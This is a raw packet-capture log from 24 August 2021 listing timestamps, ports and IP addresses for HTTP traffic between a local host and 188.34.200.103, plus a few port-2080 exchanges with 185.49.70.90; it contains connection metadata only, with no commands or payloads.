Aug 24, 2021 14:01:43.093152046 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093168974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093182087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093194008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093214035 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093216896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093231916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093240976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093252897 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093265057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093274117 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093287945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093295097 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093312025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093333006 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093336105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093362093 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093362093 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093381882 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093384981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093403101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093408108 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093420982 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093431950 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093446016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093455076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093468904 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093477964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093494892 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093502045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093513012 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093525887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093533039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093552113 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093554974 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093578100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093595028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093600035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093624115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093624115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093640089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093647003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093658924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093669891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093678951 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093692064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093698978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093714952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093734026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093740940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093765974 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093769073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093787909 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093791008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093805075 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093816042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093828917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093838930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093849897 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093862057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093872070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093885899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093894005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093909025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093930006 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093935013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093959093 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093961954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.093981028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.093986988 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.094000101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094011068 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.094026089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094034910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.094048023 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094058037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.094069958 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094080925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.094094992 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094125986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.094619989 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.106908083 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.108982086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.109023094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111208916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111258030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111283064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111305952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111327887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111352921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111362934 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111371994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111392975 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111413002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111435890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111459017 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111481905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111491919 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111505032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111527920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111536026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111551046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111560106 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111574888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111584902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111598015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111618996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111619949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111644030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111649036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111666918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111675024 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111691952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111701012 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111713886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111736059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111737013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111757994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111764908 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111780882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111804008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111807108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111829996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111851931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111855984 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111874104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111885071 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111897945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111917973 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.111920118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111943007 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111963034 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111987114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.111989021 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112014055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112013102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112037897 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112040043 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112060070 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112082958 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112083912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112107992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112121105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112129927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.112160921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.112206936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.225100994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.228147984 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.480634928 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:43.480756044 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:43.486691952 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:43.511770010 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:43.611349106 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.631973028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.632015944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633029938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633050919 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633079052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633111000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633131027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633152008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633167028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633174896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633197069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633220911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633223057 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633244991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633269072 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633279085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633294106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633317947 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633317947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633342981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633363962 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633368015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633398056 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633409977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633429050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633447886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633449078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633467913 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633492947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633496046 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.633512020 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633533001 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633548975 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633565903 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633584976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633605003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633620024 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633635998 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633651018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633665085 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633677959 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633692026 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633704901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633718014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633729935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633743048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633757114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633773088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633790016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633806944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633822918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633840084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633858919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633877039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633893013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633909941 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633924961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633939028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633953094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633966923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.633980989 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634000063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634018898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634037018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634049892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634063005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634073973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634085894 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634098053 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634110928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634124041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634135962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634147882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634160042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634171963 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634183884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634196043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634207010 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634217978 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634229898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634243011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634255886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634267092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634279013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634289980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634305954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634320021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634336948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634352922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634368896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634385109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634401083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634417057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634440899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634464979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634486914 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634500980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634519100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634535074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634552002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634567022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634584904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634601116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634619951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634639025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634656906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634674072 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634692907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634710073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.634727955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.637120008 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.637547970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.656480074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656544924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656656027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656693935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656733990 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656785011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.656793118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656831980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656862020 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.656886101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.656972885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657018900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657037020 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657069921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657099962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657130003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657152891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657222033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657284021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657314062 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657367945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657442093 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657460928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657496929 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657509089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657538891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657545090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657587051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657593966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657617092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657638073 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657641888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657666922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657687902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657711029 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657717943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657747030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657764912 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657789946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657789946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657816887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657844067 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657847881 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657871962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657872915 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657895088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657897949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657917976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657921076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657942057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657948971 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657963991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.657983065 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.657988071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658013105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658025980 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658036947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658047915 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658060074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658082008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658103943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658106089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658114910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658126116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658139944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658149958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658171892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658175945 CEST	49728	80	192.168.2.3	188.34.200.103
